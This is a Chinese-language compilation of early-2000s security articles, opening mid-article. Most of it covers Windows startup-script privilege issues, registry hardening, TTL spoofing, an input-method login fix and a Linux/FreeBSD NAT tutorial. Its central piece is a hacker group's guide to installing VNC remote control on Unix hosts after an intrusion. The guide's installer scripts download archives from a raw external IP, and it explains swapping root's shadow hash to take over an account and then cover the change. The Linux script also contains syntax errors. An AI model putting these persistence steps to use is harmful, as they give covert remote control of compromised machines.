如果我们没有在组策略中将"显示启动脚本的运行状态"打开,那么一切都非常正常,但如果我们在组策略中将"显示启动脚本的运行状态"打开(打开域控制器策略，找到计算机配置->管理模板->登录,会在右边找到这一项),那么问题可能非常严重.其中包括的很多命令都是危险的.比如打开了某个文件夹,那么系统会先以system权限自动登录运行这个命令,你可以使用下面这一行进行测试:
c:\winnt\explorer.exe c:\winnt

但以system账户登录的时间并不会太长,通常10分钟后系统会自动中止这一切(win2000的开机脚本通常情况下必须在10分钟内运行完毕,如果没有完毕系统强行中断.这个时间可以通过组策略进行设置),但这10分钟内可能做什么事情相信大家心里都明白.

如果我们在组策略中将"显示启动脚本的运行状态"打开,又将"非同步运行启动脚本"项打开(位置与前项相同),开机后系统会不理会开机脚本是否执行完毕而直接执行下一个脚本,然后跳出邀请用户进行登录的对话框.

最为严重的是,组策略中管理模板部分是存放在注册表中的,通常的情况下普通用户就有对注册表进行读写的权限,也就是说只要管理员运行了开机脚本,而且脚本中存在危险的命令,那么普通用户就能够进行攻击.
下面是"显示启动脚本的运行状态"和"非同步运行启动脚本"项在注册表中的位置:
显示启动脚本的运行状态:
KEYNAME "Software\Microsoft\Windows\CurrentVersion\Policies\System"
VALUENAME "HideStartupScripts"
VALUEON NUMERIC 0 '显示运行状态
VALUEOFF NUMERIC 1 '不显示运行状态

非同步运行启动脚本:
KEYNAME "Software\Microsoft\Windows\CurrentVersion\Policies\System"
VALUENAME "RunStartupScriptSync"
VALUEON NUMERIC 0 '同步运行
VALUEOFF NUMERIC 1 '异步运行

我对几个注册表项包括非同步运行脚本及显示脚本运行状态进行了注册设置而没有通过组策略进行设置,经过测试成功


像win2000的终端服务一样远程控制unix

作者：刺（aXis）
X-Laser
来源：幻影旅团（www.3389.net）
中国刺客网（www.thugx.com）

申明：本文版权归幻影旅团及中国刺客网所有，欢迎转载，但请保持原文完成及出处。
发布时间：2002.7.23

前段时间我们敬爱的榕哥写了远程安装vnc的文章，本来我以为他会接着写linux下的vnc安装，但却没了下文。由于以前我和x-laser研究过unix下的vnc安装，所以，今天就把一点心得写出来，错误之处，还请高手指正。

首先要来介绍一下vnc这个软件。国内对于vnc的研究比较少，只是到最近小榕才推广了一下，可是，对其强大的功能，也只是利用了一小部分。vnc是Virtual Network Computing的简称。是由http://www.uk.research.att.com/vnc的专门负责vnc开发的开发小组开发的。

vnc有点类似win2000的终端服务，相对于其他的远程控制软件，主要体现了五个优点。
1.vnc远程控制时,客户端的任何异常事故不会对服务端造成影响,就是说,如果你正在用vnc远程控制一台主机,你突然死机了,再用vnc连时,可以继续进行刚才的操作.

2.vnc的控制端很小,而且不需要任何安装,是居家旅行时的必备良药 :)而且vnc有java的控制端,不需要用任何其他工具,用浏览器就可以直接控制,比如ie或netscape

3.vnc实现了真正的跨平台,你可以在unix下控制windows,或者是在unix下控制windows,并不依赖操作平台是vnc最大的特色和优点.在本文中,我们将演示如何用windows来控制linux和solaris.

4.一个桌面可以同时被多个用户使用:)类似win2000终端的管理中的连接功能,交流非常方便,可做教学之用:)
5.vnc符合GNU风格,开放原代码,这是最大的好处,当然vnc的exploit在packetstorm上也可以找到.

vnc的控制原理也可以用下图方便的表示

vnc viewer<----------------->Xvnc(vnc server)<---------------
(vnc protocal) (X protocal)

----------------->applications

这个控制是基于tcp/ip的,其中vnc server扮演了双重角色.vnc protocal是基于RFB protocal的,有兴趣的可以参照作者主页.这里不再赘述.

说了这么多了,现在就让我们开始动手来安装吧!首先以linux下的安装为例,我们可以用windows来控制linux的x-window.

把包传到linux的/tmp目录下(这里以/tmp为例,你也可以更换到其他的合适目录)

用tar命令解压缩,会得到一个vnc_x86_linux_2.0的目录
cd vnc_x86_linux_2.0进入后,接下来需要做的就是拷贝一些文件
首先我们
mkdir -p /usr/local/bin/vnc/classes建立一个目录
再
cp classes/* /usr/local/bin/vnc/classes
接着再
mv vncpasswd /usr/bin
mv vncserver /usr/bin
mv vncviewer /usr/bin
mv Xvnc /usr/bin

vncpasswd是设置vnc的控制密码，vncserver是安装脚本，vncviewer是主控端，Xvnc就是上面协议里的那个了.这里我们做的主要就是把软件包的classes目录移到/usr/local/bin/vnc目录下面，然后把vncpasswd，vncserver，vncviewer,Xvnc这几个配置的文件放到/usr/bin这个目录，这里最重要的就是vncserver和Xvnc这两个文件。

然后我们需要修改一下xstartup这个脚本.位置在/tmp/.vnc下,我们修改他来使用kde启动,如果有kde的话 :)因为默认是twm启动,用kde比较漂亮

修改如下
echo "xrdb $HOME/.Xresources" >>xstartup
这句是让xrdb创建.Xresources文件
echo "xsetroot -solid grey" >>xstartup
echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'>>xstartup
这句是设置屏幕解析度和到文件
echo "startkde &" >>xstartup
这句是以kde启动

然后我们再用vncserver启动即可了 :)这样再用vncviewer连,输入密码后就可以看到漂亮的kde桌面了.

X-laser给我们写了一个本地安装vnc的脚本

------------------------------cut here----------------------------------------------------------

#!/bin/sh
echo "This vnc install(rdehat *)"
echo "author:X-Laser"
echo "这里是幻影旅团（www.3389.net）"
echo " 中国刺客网（www.thugx.com）"
lynx -dump www.3389.net/vnc.tgz >/tmp/.vnc.tgz
if chmod 777 /usr/X11R6/bin/twm
then
echo "checke x-server ok"
else
lynx -dump 61.153.9.166/bin.tar >/usr/X11R6/
lynx -dump 61.153.9.166/lib.tar >/usr/X11R6/
tar -xvf /usr/X11R6/bin.tar
tar -xvf /usr/X11R6/lib.tar
fi
cd /tmp;tar -zxvf .vnc.tgz;
mkdir .sh
cd vnc_x86_linux_2.0
cp /usr/X11R6/bin/xauth /usr/bin; chmod 777 /usr/bin/xauth
mkdir -p /usr/local/vnc/classes
mkdir -p $HOME/.vnc
mkdir twm
cp classes/* /usr/local/vnc/classes
mv vncpasswd /usr/bin
mv vncserver /usr/bin
mv vncviewer /usr/bin
mv Xvnc /usr/bin
echo "请输入选择的启动的界面 "
echo "twm 界面,简陋型"
echo "kde 标准界面"
read vncgui
if cd $vncgui
then
echo "您选择了twm界面"
else
"您已经选择了kde标准界面"
cd $HOME/.vnc
echo "#!/bin/sh" >xstartup
echo "" >>startup
echo "xrdb $HOME/.Xresources" >>xstartup
echo "xsetroot -solid grey" >>xstartup
echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'>>xstartup
echo "startkde &" >>xstartup
fi
echo "请输入密码 长度5或者位以上"
vncserver
echo "您的vnc服务端口"
netstat -an |grep 590
echo "您的http连接vnc端口"
netstat -an |grep 580
echo "安装程序结束"

-------------------------------------------cut here------------------------------------------

注意事项,由于vnc安装时与环境变量密切相关,所以请以正常用户安装(建议以root权限安装,这样有时候很多权限不够的问题可以避免)如果是以溢出后的uid=0的权限或者是suid的euid=0的权限来安装,都有可能遇到环境变量的问题.

黑客的小技巧:黑客入侵的后,可以用溢出的uid=0或euid=0的权限通过修改shadow的方法来改变root的密码,然后su到root,这样就不会有环境变量的问题了.具体实现如下
1.先建立一个用户,再用passwd修改密码
2.把shadow备份,然后把shadow中root的密码的hash替换成自己刚建立的用户的密码的hash,然后再su到root,进行操作
3.操作完成,退出root,再把刚才备份的替换回来.

安装好后,会有两个端口,一个是590x,一个是580x.因为安装时端口不是固定的.590x的端口是服务连接端口，而580x绑定了applet小程序，用web连接此端口会自动运行applet，从而达到网页访问效果，就是我前面提到的可以用浏览器来控制一样，最大限度的实现了跨平台。

现在我们来讲vnc在solaris下的安装，安装过程与在linux下安装几乎是一模一样的.不同的是sunos需要自己把包传到/tmp目录下，而linux下的安装则由脚本控制lynx自动下载，因为很多sunos都没lynx的缘故。同样在安装过程中需要root身份安装（不仅仅是uid=0哦！！）x-laser也为我们写了个本地安装的脚本

----------------------------------------cut here---------------------------------------------

#安装时请以root权限安装
#!/bin/sh
echo "This vnc install(sunos ALL *)"
echo "author:X-Laser"
echo "这里是幻影旅团（www.3389.net）"
echo " 中国刺客网（www.thugx.com）"
if chmod 777 /usr/openwin/bin/xauth
then
echo "ok vnc -install start"
tar -xvf sunos.tar
cd vnc_sun4_sosV_5.5
mkdir -p /usr/local/vnc/classes
cp calsses/* /usr/local/vnc/classes
mv vncserver /usr/bin
mv vncviewer /usr/bin
mv Xvnc /usr/bin
mv vncpasswd /usr/bin
cp /usr/openwin/bin/* /usr/bin
cp /usr/openwin/lib/* /usr/bin
mkdir -p $HOME/.vnc
echo "#!/bin/sh" >$HOME/.vnc/xstartup
echo "" >>$HOME/.vnc/xstartup
echo "xrdb $HOME/.Xresources" >>$HOME/.vnc/xstartup
echo "xsetroot -solid grey" >>$HOME/.vnc/xstartup
echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &' >>$HOME/.vnc/xstartup
echo "/usr/dt/bin/dtsession & " >>$HOME/.vnc/xstartup
vncserver
echo "请输入密码，长度5位或5位以上"
echo "next vnc start port"
netstat -a |grep 590
echo install over
else
echo 您的X11R6文件不全,请把其他机器的openwin,cp到/usr/openwin/bin/里
fi

--------------------------------------cut here----------------------------------------------

vnc还可以在各种其他的系统下安装，比如aix，freebsd等，但是安装还在测试中，到时候我们会再出些安装脚本。

说了这么多都还只是安装下面讲控制。控制有两种方式
1.用浏览器控制。比如说192.168.0.1是被控端，vnc开了两个端口5801和5901。那么我们在浏览器的地址栏里输入http://192.168.0.1:5801然后就会自动下载applet的控制程序,输入密码之后,就可以看见x-window了,请注意,这个端口是5801,不是5901
2.用vncviewer控制.到 下载vncviewer,然后输入192.168.0.1:5901 第二步是输入密码,然后就可以开始连接控制了.

下面是我控制linux和sunos的截图
在windows下控制linux

在windows下控制sunos

以上所提到的软件可以在幻影旅团的主页下载到

linux下的安装包:www.3389.net/vnc.tgz
solaris下的安装包:www.3389.net/sunos.tar
远程控制工具vncviewer:www.3389.net/vncviewer.exe

关于vnc的初步介绍这篇文章就介绍到这里了,vnc的功能很强,不是一篇文章就能搞定的,以后我们会陆续写关于这方面的文章.也希望在这方面有心得的朋友能和我们交流交流。同时也提供一些技术支持,可以访问我们的论坛www.3389.net/bbs在unix hacking版将讨论关于vnc的问题.同以往一样,留下我的QQ:5279239我是幻影旅团团长刺


修补输入法漏洞的简单方法

此方法简单方便,安全可行,不影响登录后中文输入法使用.
运行regedit,展开HKEY_USERS\.DEFAULT\Keyboard Layout\Preload,以下键值对应输入法为:
00000804 英文
E00E0804 微软拼音
E0010804 全拼
E0030804 郑码
E0040804 智能ABC
将除英文和智能ABC外字符串全部删除,然后重启电脑或注销,这样在登陆时就只能切换英文和智能ABC了.如果你不需在登陆时输入中文,可以直接将HKEY_USERS\.DEFAULT\Keyboard Layout\Preload删除,在登陆时就只能用英文了


修改TTL值，简单欺骗操作系统鉴别

.abu.

WINDOWS NT/2K默认的TTL值为 128 ，如果没有过滤ICMP，对方只要 PING 一下，就大概知道你的系统了

（呵呵，可以看前一篇文章咯）

所以、、

我们来修改成其它值，相对不是可以起到简单的欺骗达到保护的目的了嘛

修改！

以改成UNIX类的255为例

下面的内容存成.reg文件

双击导入即可

————从这里开始————

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff

————到这里结束————

相对应的TTL值

十进制——十六进制

255---FF
128---80
64----40
32----20

.abu.

中华补天网


修改注册表设置系统安全性

一、限制控制面板

    1． 打开注册表 中的主键[HKEY_USERS\“用户名”\Software\Microsoft\Windows\CurrenVersion\Policies\System]（“用户名”指建立了多用户的系统中，相应的用户的名称，如果未建立多用户则为“.Default”），其下如果有下列DWORD值，则该用户的相应的控制面板项被禁止：
    “NoDispAppearancePage”=1(禁用“显示器”属性)
    “NoDispBackgroundPage”=1（隐藏“显示器”属性中的“背景”页）
    “NoDispCPL”=1（隐藏“显示器”属性中的“屏幕保护程序”页）
    “NoDispScrSavPage”=1（隐藏“显示器”属性中的“外观”页）

    2．[ HKEY_USERS\用户名\Software\Microsoft\Windows\CurrentVersion\Policies\Network]下如有下列DWORD值，则该用户相应的控制面板项被限制：
    “NoNetSetup”=1（禁用“网络”属性）
    “NoNetSetupIDPage”=1（隐藏“网络”属性中的“标识”页）
    “NoNetSetupSecurityPage”=1（隐藏“网络”属性中的“访问控制”页）

    3．[HKEY_USERS\用户名\Software\Microsoft\Windows\CurrentVersion\Policies\System]下如有下列DWORD值，则该用户相应的控制面板项被限制：
    “NoSecCPL”=1（禁用“密码”属性）
    “NoPwdPage”=1（隐藏“密码”属性中的“更改密码”页）
    “NoAdminPage”=1（隐藏“远程管理”页）
    “NoProfilePage”=1（隐藏“系统”属性中的“用户配置文件”页）
    “NoDevMgrPage”=1（隐藏“系统”属性中的“设备管理”页）
    “NoConfigPage”=1（隐藏“系统”属性中的“硬件配置文件”页）
    “NoFileSysPage”=1（隐藏“系统”属性“性能”页中的“文件系统”按钮）
    “NoVirtMemPage”=1（隐藏“系统”属性“性能”页中的“虚拟内存”按钮）

    二、限制开始菜单和桌面

    1、开始菜单
如果在[HKEY_USERS\“用户名”\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]下有DWORD值“NoRun”=1时，则该用户的开始菜单中的“运行”命令被禁止；
    如果有DWORD值“NoSetFolders”=1时，则该用户的开始菜单中的“设置\文件夹选项”命令被禁止；
    如果有DWORD“NoSetTaskbar”=1时，则该用户的开始菜单中的“设置\任务栏和开始菜单”命令被禁止；
    如果有DWORD值“NoFind”=1时，则该用户的开始菜单中的“查找”命令被禁止； 如果有DWORD值“NoStartMenuSubFolders”=1，则该用户“开始”菜单中的子文件夹被隐藏；
    如果有DWORD值“NoClose”=1时，则该用户的开始菜单中的“关闭系统”命令被禁止；
如果有DWORD值“NoStartBanner ”=1，WINDOWS启动时出现在任务栏的箭头标示和“单击此处开始”字样被隐藏；

2、桌面、
进入如下路径：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\后，在“Explorer”键值下新建下列DWORD值：
NoDesktop=1时， 隐藏桌面上的所有图标；
NoDrivers 隐藏驱动器（DWORD值的低26个bit从低到高分别对应A-Z驱动器，各bit位=1时为有效）；
NoNetHood =1时，隐藏桌面的“网上邻居”图标；
NoViewContextMenu=1时， 隐藏在桌面空白处右击鼠标时弹出的上下文菜单；
NoTrayContextMenu=1时， 隐藏任务栏上按右键时弹出的菜单；
NoEntireNetwork=1时， 隐藏“网上邻居”中的“整个网络”；
NoSaveSetting =1时，退出前不保存设置；

    三、网络和用户设置

    1．如果在[HKEY_USERS\“用户名”\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]下有DWORD值“NoDrives”=1时，则该用户“我的电脑”中的所有驱动器被隐藏；
    如果有DWORD值“NoNetHooD”=1时，则该用户的“网上邻居”被隐藏；
    如果有DWORD值“NoEntioeNetwork”=1时，则该用户的“网上邻居”中 “整个网络” 被隐藏；
    如果有字符串值“NoWorkgroupContents”=1时，则该用户的“网上邻居”中工作组目录被隐藏；
    如果有DWORD值“NoDesktop”=1时，则该用户的桌面上所有的程序组被隐藏（即没有桌面）；
    如果有DWORD值“NoSaveSettings”=1时，则该用户退出系统时所作的设置不被保存。

    2．拨号网络和共享设置：在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Policies\Network]下建立以下DWORD值，则相应的限制有效：
    “NoDialIn”=1（禁止拨入）
    “NoFileSharing”=1（禁用文件共享）
“NoWorkgroupContents ”=1隐藏“网上邻居”中的工作站显示；
“NoEntireNetwork”=1 隐藏“网上邻居”中的整个网络显示；
“NoFileSharingControl”=1 禁止文件共享；
“NoPrintSharingControl ”=1禁止打印机共享；

    3.只运行允许的Windows程序的列表：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun]，在该子键下新建串值，串值从“1”开始命名，串值为能运行的应用程序路径名。如：名称 数据
① “c:\windows\myprogram1”
② “d:\….\myprogram2”
该限制启动后，只有在RestrictRun列表内的程序能够运行，请保证Systray.exe程序包含在列表中。

    四、口令设置

    在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]下建立以下DWORD值，则相应的设置有效：
    “HideSharePwds”=1（使用星号（＊）隐藏共享口令）
    “DisablePwdCaching”=1（禁用口令缓存；注意！请慎用此项设置，此时控制面板中的“密码”属性中无法更改密码，登录时该用户使用任何一个密码或不用密码就可以登录。）
    “AlphanumPwds”=1（使Windows口令必须为数字和字母）
    “MinPwdLen”=n（设置Windows口令的最小长度，n大于等于0小于等于8）

    五、禁用注册表编辑器

    [HKEY_USERS\“用户名”\Software\Microsoft\Windows\CurrentVersion\Policies\System\]下如果有DWORD值“DisableRegstryTools”=1，则禁止该用户使用注册表编辑工具。

    六、禁用“MSDOS”方式、禁用单一模式的MSDOS应用程序
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\]后，新建主键“WinOldApp” ，在该子键下新建DWORD值 “Disabled”=1，则该用户的“MSDOS”方式被禁止；“WinOldApp”下如有DWORD值“NoRealMode”=1，则该用户单一模式的MSDOS应用程序被禁用。

    七、自启动的程序

    [HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\Run]其下的字符串值表示通过注册表自启动的程序；
    [HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\RunOnce]其下的字符串值表示只自启动一次的程序；
    [HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\RunServices]其下的字符串值表示通过注册表自启动的服务程序；
    [HKEY_LOCAL_MACHINE\SOFTWARE\Mic rosoft\Windows\CurrentVersion\RunServicesOnce]其下的字符串值表示只启动一次的服务程序。
    由此，我们可以看出上面所有的DWORD值，如果其值为“1”时表示该值有效，其值为“0”时表示该值无效；我们可以通过改变DWORD值或删除该DWORD，来轻松地使相应的限制有效或无效。

八、限制显示器属性
进入HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\后，在子键“System”下新建以下DWORD值（=1时为有效）：
NoDispAppearancePage 隐藏显示属性中的“外观”属性页；
NoDispBackgroundPage 隐藏显示属性中的“背景”属性页；
NoDispCPL 禁止设置显示属性；
NoDispScrSavPage 隐藏显示属性中的“屏幕保护”属性页；
NoDispSettingsPage 隐藏显示属性中的“设置”属性页；

九、 锁定“我的电脑”、“我的文档”、“回收站”、“控制面板”等。

1、锁定我的电脑
进入HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32后，在“默认”串值后加上“-”符号，例如原值若为 ‘shell32.dll’ 则修改为 ‘shell32.dll-’。
2、同理可锁定我的文档 ：{450D8FBA-AD25-11D0-98A8-0800361B1103}
控制面板： {21EC2020-3AEA-1069-A2DD-08002B30309D}
回收站： {645FF040-5081-101B-9F08-00AA002F954E}


虚拟IP的配置方法

首先来谈谈什麽是「虚拟 IP」。我们都知道在 TCP/IP 的架构下，所有想上网络

的电脑，不论是用何种方式连上网络，都必须要有一个 *唯一* 的 IP-address。

举两个最常见的例子: 学校的电脑用网络线连在一起，是经由 ethernet 介面连

上网络，则该 ethernet 介面必须要有 IP-addr., 如 freebsd.phys.ntu.edu.tw

的 ethernet IP 为 140.112.52.20 。另一个常见的网络介面为 PPP, 通常是用

在 modem 拨接上，当您从家里透过 modem 拨接上远端的 modem server 时，有

些 server 会从中建立起远端与您的电脑间的 PPP 连线协定，於是，您的电脑就

会有一个 PPP 介面，而它的 IP-addr. 则由远端 server 指定给您 (这一切都是

全自动进行) ，於是您就可以透过 modem (PPP) 对外连线，就好像您的电脑直接

接在网络上一样。

在我们系上的计算机室，目前有两部机器可以做 PPP modem server (但规定只有

老师才能使用) ，一是 freebsd.phys, 另一是 linux.phys。 freebsd.phys 用

的是一条独立电话线，可以 24 小时全天候服务；而 linux.phys 用的是机房的

电话分机，故只有下班才能用。按照上头所述，如果同时要提供两个 modem 的

PPP 拨接服务，就必须要有两个空的 IP-addr. 留下来，以便 PPP 连线建立时设

定给用户的电脑。因此，在过去计算机室就为此保留了两个 IP: 140.112.52.250

及 140.112.52.252, 让 ppp server 使用。然而，这样一来就造成了 IP 的浪

费，很明显的，当无人拨进来时这两个 IP 根本没有人使用，而且 modem server

也不是无时无刻都会有人要拨进来。这时候，所谓的「虚拟 IP 」就派上用场

了。

简单的说，虚拟 IP 就是假的 IP, 也就是未经注册的 IP, 但 server 端有能力

将这假的 IP 变成真的 IP 送往网际网络，通行无阻，就好像有真的 IP 一样。

以下是简单的架构图:

也就是说，在实做上我们必须将网络分成两块，一块就是使用虚拟 IP 的电脑群，

它们不能与使用真正已注册过的 IP 的电脑 (或 Internet) 混在一起。而二者之

间的桥梁要靠一部拥有 IP-Masq 的 Linux 或 NAT 的 FreeBSD 连起来。注意到用

做「桥梁」的 server 拥有两个 (以上) 的网络介面，分别接 local net 与

internet，该 server 即称之为 "gateway" 或 "router"，这些不同的网络介面可

以有不同的IP-addr.。所以，我们常说某某的电脑的 IP 是多少，其实不是百分之

百正确，如果该电脑拥有多个网络介面的话，那它不同的介面可能会有不同的

IP-addr.。眼前的例子就是 linux.phys 与 freebsd.phys, 在使用者拨接上来时

它就会自动建立起ppp0 这个介面，加上原来的 ethernet 介面就是两个。在过

去，它们的 ppp0 介面与 ethernet 介面的 IP 是设得一样的，以 freebsd.phys

来说:

其中 ed0 即为 FreeBSD 的 ethernet 介面。现在要使用虚拟 IP 的技术，我们

将会设定其 ppp0 为不同 (虚拟) 的 IP。同理，一部电脑如果装两张网络卡同时

接两个网络，则它就会有两个 ethernet 介面:

要注意的是，如果 server 中的各网络介面 IP 的号码如果相同，或前几码相同

(如 freebsd.phys 的例子)，则代表它所连接的子网络属同一个网域，否则为不

同网域。例如 freebsd.phys 的 ed0 是属於 140.112.52.0 这个网域，而拨接上

来的用户其 gateway 为 140.112.52.20 (ppp0 的 IP), 其本身的 IP 为

140.112.52.252, 则它们也都属於 140.112.52.0 这个网域。

前面提过，使用像 140.112.52.252 这种已注册、合法的 IP 来给拨接用户使用

会造成浪费，因此，底下我们就用虚拟 IP 并透过 FreeBSD 的 NAT 来做拨接服

务。在 RCF 1597 的定义中，可以不经注册而任意使用的 IP 为:

10.0.0.0

-

10.255.255.255

172.16.0.0

-

172.31.255.255

192.168.0.0

-

192.168.255.255

依规定，凡是这类的 IP 都不能直接出现在网际网络上，因此当我们私底下

(不直接连上网际网络) 用这些 IP 时，不必担心与别人冲到。在此，我们的虚

拟 IP 就选用 192.168.0.0 这一组，则以 FreeBSD 为例，其 PPP 与

ethernet 的架构就变为:

也许有人会问，为什麽 FreeBSD 一定要有 NAT? 若没有不是一样可以通吗? 没

错，一样可以通，但这样一来就违反了规定， 192.168.1.X 就不再是虚拟 IP, 而

变成真实 IP, 直接连上 internet 了 (仅管 modem 的连线是很短暂的)。 NAT 所

做的工作，就是将 192.168.1.X 这类虚拟 IP ，变成真实的 IP 出去，让外界永

远不知道实际上有这些虚拟 IP 存在。举个例子，假设您是在此架构下的用户端，

您可以经由 FreeBSD (或 Linux) 自由地连往 internet, 不论是 telnet, ftp,

www ....假设您现在用 telnet 连往 bbs, 则虽然您用的是虚拟 IP, 但如果您去

看 bbs 的资讯看您是来自何方时，显示却会是真实的 IP (以上头的例子，即为

140.112.52.20)

这就是虚拟 IP 最奇妙的地方! 在外界，您永远是以「真实 IP」出现，但人家永

远不会知道，其实您是来自 Linux/FreeBSD 底下的一部用「虚拟 IP」的电脑。因

此，我只要在 Linux/FreeBSD server 端注册一个真实 IP, 则透过此技术我可以

*合法地*在後头串接一大串使用虚拟 IP 的电脑。这麽做，其优点就如前所述，且

使用虚拟IP 的电脑等於是隐藏在 Linux/FreeBSD server 身後，受到 server 端

完全的保护。而缺点是，使用虚拟 IP 的电脑不能公开，也就是，它不能架

server (谁知道世上有这麽一台 www 或 ftp server 存在?)，也不能接 mail (在

外头的电脑怎麽知道mail 要送到这里来?)，当然，也不能被外头的电脑 telnet

进来。请特别注意我这「公开」与「外头」的字眼，事实上使用虚拟 IP 还是可以

架 server, 接 mail 等，但只有同在同一个虚拟 IP 网域下的机器才知道，因为

同在一部 Linux/FreeBSDserver 的管理下，它会为大家做好沟通的工作。但外头

的电脑则不行了。

再来谈「网域」的问题。例如，利用这样的技术，我们可以将机房中 PPP 拨接

server规划如下:

大家会奇怪，这样如果 client 1 与 client 2 若同时上来， IP 不是冲到了吗?

不会! 第一: client 1 与 client 2 属於不同网域，分别由 freebsd 与 linux掌

管。第二: freebsd 用 NAT, linux 用 IP-Masq 将这两个网域藏起来了，所以实

际上它们谁也瞧不见对方。假设双方连上来的人在 bbs 上碰面，则在我们看来，

如前所述， client 1 是来自 140.112.52.20 这个 IP, 而 client 2 是来自

140.112.52.122 这个 IP。

讲了这麽多，我们已可以约略看出虚拟 IP 的应用了。前面所提的 PPP 拨接是一

个，另一个就是同一实验室里头的电脑。并非所有的电脑都需要对外公开的，尤其

是用做平行计算的电脑群。现在将十多部甚至一、两百部电脑透过网络连起来做平

行计算已成风潮，像我们系上有许多老师听说就是此道的高手。但是，如果说一个

实验室要搞平行计算而申请十多个或上百个 IP 的话，是相当浪费的 (事实上根本

不可能，因为没那麽多 IP)，因此，使用虚拟 IP 技术，可以大大地节省网络资

源。

好了，以下我简述实作的方法: 不论是用 Linux 的 IP-Masq 或 FreeBSD 的 NAT,

其设定的道理都相同，主要有以下四个步骤:

1.设定好 server 端的网络介面。就我们的例子，一为 ethernet 介面，另一

即为供 modem 拨接上来的 PPP 介面。其设定方式算是另一个专题，这里
不

详述。

2.设定 Kernel, 使其拥有 IP-Masq (for Linux) 或 IP-Divert (for Fr

eeBSD) 的能力。於 FreeBSD, 还要同时起动 natd server。

3.设定 IP-Firewall rule ，建立虚拟 IP 与真实 IP 之间的连线。

4.设定 client 端以使用 server 端的虚拟 IP。就我们的例子而言，如果原本

client 端已能顺利地由 modem 拨接上线，则理论上 server 端改用虚拟
IP

後 client 不需要改变任何设定，原因是 client 端的 IP 与 gateway
设定

是每次在 PPP 连线建立时即全自动进行 (由 server 端控制)。但如果

client 端是用 ethernet 与 server 端连线的话，则必须进行这一步的
设

定。

以下我就简述第 2, 3 步的实作， Linux 与 FreeBSD 分别讲，同时也讲一下使用

了虚拟 IP 之後， client 端所呈现的网域环境 (第 4 步)。

有一点要稍作补充: 不论是 IP-Masq 或 IP-Divert & NAT, 其设计上都是基於

IP-Firewall 的。所谓 IP-Firewall 即俗称「防火墙」，是一种相当强大的网络

防护系统，它可以在网络封包的层级直接控制封包的传输，如是否让来自某 IP的

封包进入、通过、输出此 Firewall server。在很多私人网络中，其网域与外界网

路之间常常会装设一台 Firewall server, 以限定、或完全隔绝内外网络的流通，

以达到保护内部网络的目的。因此，如有外来的入侵者想入侵内部网络的话，则第

一步就是要突破 Firewall server 这一关，而这通常是很不容易办到的。文件上

说， IP-Masq *也许是* 比起 IP-Firewall 安全等级更高的防护，我猜原因可能

是内部网络的虚拟 IP 是靠 IP-Masq server 建立起来的，如果外来入侵者在千辛

万苦之後终於破坏了 server, 但这也等於破坏了 IP-Masq 的架构，也就等於整个

虚拟 IP 网络都不存在了 (连不通)，他还是无法进而入侵内部网络的电脑。正因

为 IP-Masq 或 IP-Divert 是架构在 IP-Firewall 之上，因此我们必须要有第 3

步的「设定 IP-Firewall rule」，而且设定这一步时要特别小心，如果设错了有

可能造成 server 端网络完全不通。

Linux Masq

我们从第二步设定 Kernel, 并打开 IP-Masq 的功能开始。文件上说只要是

Kernel-2.0.x 的版本再加 patch 皆可，我这里所用的 Kernel 版本为 2.0.34, 完全

不需 patch 即可使用，所以建议用这个版本 (或以上)的 kernel。在 make config

时，请打开以下的选项 (节录自 IP-Masquerade MiniHOWTO):

* Prompt for development and/or incomplete code/drivers

CONFIG_EXPERIMENTAL

- 如此您即可选取 *正在实验中的* IP-Masq 功能。

* Enable loadable module support

CONFIG_MODULES

- 如此您可使用 kernel 的模组功能。

* Networking support

CONFIG_NET

* Network firewalls

CONFIG_FIREWALL

* TCP/IP networking

CONFIG_INET

* IP: forwarding/gatewaying

CONFIG_IP_FORWARD

* IP: firewalling

CONFIG_IP_FIREWALL

* IP: masquerading (EXPERIMENTAL)

CONFIG_IP_MASQUERADE

- 虽然它被归类为 experimental, 但您一定要选它。

* IP: ipautofw masquerade support (EXPERIMENTAL)

CONFIG_IP_MASQUERADE_IPAUTOFW

- 建议您选这个。

* IP: ICMP masquerading

CONFIG_IP_MASQUERADE_ICMP

- 支援 ICMP 的封包，主要用於从虚拟 IP ping 外头的世界，可选

可不选。

* IP: always defragment

CONFIG_IP_ALWAYS_DEFRAG

- 强烈建议您选这个。

* Dummy net driver support

CONFIG_DUMMY

- 建议您选这个。

Compile 完 kernel 与 module 之後，重新启动电脑，请将 IP-Masq 所需的 module
载

入。例如，我希望虚拟 IP 可以对外用 ftp 传档，则我就必须载入 ftp 的 module:

modprobe ip_masq_ftp

如此，使用虚拟网络的机器就拥有 telnet, ftp, www, ping .... 等这几项基本能力

了。除此之外， kernel 还提供其他的 module 以支援如 IRC, Raudio 等网络功能，

可以选择性地载入。这些可以写在开机启动档中在系统开机时一并完成。接下来是第
3

步，设定 IP-Firewall rule。在 Linux 是用 ipfwadm 这指令，这指令的用法相当多

样，详细用法请见 man ipfwadm, 在这里只简述简单用法。 ipfwadm 在设定封包流通

的规则主要有三个:

ipfwadm -I .... (设定流入 server 的封包)

ipfwadm -O .... (设定流出 server 的封包)

ipfwadm -F .... (设定由某网域经由本 server 流向另一网域的封

包)

如在之後加上 -l 的叁数，则会列出目前已设定的 rule 。例如在 linux.phys 中，
已

设定的 rule 为:

$ /sbin/ipfwadm -I -l

IP firewall input rules, default policy: accept

type prot source destination ports

deny all 127.0.0.0/8 anywhere n/a
